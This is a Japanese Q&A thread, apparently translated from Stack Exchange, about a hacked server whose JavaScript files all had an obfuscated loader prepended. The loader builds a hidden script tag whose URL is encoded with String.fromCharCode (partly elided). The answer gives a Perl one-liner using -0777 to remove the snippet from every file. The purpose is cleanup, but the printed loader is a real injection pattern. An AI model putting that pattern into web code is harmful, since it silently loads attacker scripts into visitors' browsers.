ファイルから複数行を置き換える(削除)

ファイルから複数行を置き換える(削除)

私のサーバーの1つがハッキングされ、すべてのjsファイルの先頭に以下を追加しました。

var hglgfdrr4634hezfdg = 1; var d=document;var s=d.createElement('script'); s.type='text/javascript'; s.async=true;
var pl = String.fromCharCode(104,116,...,106,115); s.src=pl;
if (document.currentScript) {
document.currentScript.parentNode.insertBefore(s, document.currentScript);
} else {
d.getElementsByTagName('head')[0].appendChild(s);
}

クリーンアップする必要がありますが、何千ものファイルがあるため、手動でクリーンアップすることはできません。

私はうまくいく解決策を見つけようとしていましたが、Perlについて読んで、次のように書きました。

perl -pi -e 's/var hglgfdrr4634hezfdg = 1; var d=document;var s=d\.createElement\(\x27script\x27\); s\.type=\x27text\/javascript\x27; s\.async=true;\nvar pl = String\.fromCharCode\(104,116,...,106,115\); s\.src=pl;\nif \(document\.currentScript\) \{\ndocument\.currentScript\.parentNode\.insertBefore\(s, document\.currentScript\);\n} else \{\nd\.getElementsByTagName\(\x27head\x27\)\[0\]\.appendChild\(s\);\n\}//' script.js

regex101を試しましたが、正規表現が一致しましたが、コマンドでエラーが発生しませんでしたが、何も変わりませんでした...

ベストアンサー1

perl文字を一致させるにはファイル全体を「吸収」する必要があるため、\n次の-0777オプションを使用してください。

perl -i -0777pe 's/var hglgfdrr4634hezfdg = 1; var d=document;var s=d\.createElement\(\x27script\x27\); s\.type=\x27text\/javascript\x27; s\.async=true;\nvar pl = String\.fromCharCode\(104,116,\.\.\.,106,115\); s\.src=pl;\nif \(document\.currentScript\) {\ndocument\.currentScript\.parentNode\.insertBefore\(s, document\.currentScript\);\n} else {\nd\.getElementsByTagName\(\x27head\x27\)\[0]\.appendChild\(s\);\n}\n//' script.js

サーバーがハッキングされましたが、解決する必要がある問題がある可能性があります。

おすすめ記事